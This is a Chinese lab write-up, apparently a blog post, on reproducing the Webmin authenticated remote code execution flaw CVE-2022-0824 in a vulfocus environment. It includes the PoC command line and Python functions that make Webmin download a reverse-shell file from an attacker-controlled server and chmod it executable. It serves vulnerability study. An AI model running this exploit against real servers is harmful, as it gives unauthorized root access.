vulfocus漏洞学习——Webmin 远程代码执行 (CVE-2022-0824)

目录

一、漏洞介绍

二、影响版本

三、漏洞复现

四、漏洞原理

1. 获取Webmin的访问权限

2. 不安全的远程文件下载

3. 更改下载文件的权限


一、漏洞介绍

Webmin是一套基于Web的用于类Unix操作系统的系统管理工具,提供图形化界面管理工具。漏洞源于Webmin的某些功能模块未能正确验证和过滤用户输入,导致攻击者可通过参数注入恶意命令。

二、影响版本

Webmin < 1.990

三、漏洞复现

POC:https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell

┌──(root㉿kali)-[~/POC/Webmin/CVE-2022-0824]
└─# python3 Webmin-revshell.py -t http://192.168.57.143:8749 -c root:password -LS 192.168.57.128:9090 -L 192.168.57.128 -P 5555

(1) -t 目标机器

(2)-c 账号密码

(3)-LS 攻击机提供payload的端口

(4)-L 攻击机

(5)-P 监听端口

成功getshell

找到flag

四、漏洞原理

以下原理的学习参考了 deepseek 以及POC中的代码

主要步骤为:

1. 先通过 session_login.cgi 进行登录,获取Webmin的访问权限

2. 利用http_download.cgi 模块从攻击者控制的服务器下载包含恶意代码的文件

3. 使用文件管理器中的 chmod.cgi 模块更改下载文件的权限

1. 获取Webmin的访问权限

拥有账号密码,只有用户通过认证后才能进行后面的操作。

2. 不安全的远程文件下载

    def download_remote_url(self):
        download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
        headers = {
            "Accept": "application/json, text/javascript, */*; q=0.01",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": self.target + "/filemin/?xnavigation=1"
        }

        data = {
            'link': "http://" + self.py3http_server + "/" + self.fname,
            'username': '',
            'password': '',
            'path': self.upload_path
        }

        r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
        print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")

 /extensions/file-manager/http_download.cgi 接口允许用户通过link参数指定远程文件的URL,并通过path参数指定下载到服务器的路径。这个时候可以在kali上开启http服务,让其下载反弹shell

3. 更改下载文件的权限

    def modify_permission(self):
        modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
        headers = {"Referer": self.target + "/filemin/?xnavigation=1"}
        data = {"name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path}

        r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
        print(f"[+] Modifying permission of {self.fname} to 0755")

 chmod.cgi 未检查用户是否拥有修改目标文件权限的合法权利。Webmin默认以root权限执行,导致攻击者可通过修改文件权限执行任意代码;然后,放置在Webmin目录下的CGI文件会被自动解析执行。

使用wireshark抓包可以更清晰地看到这个过程:

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值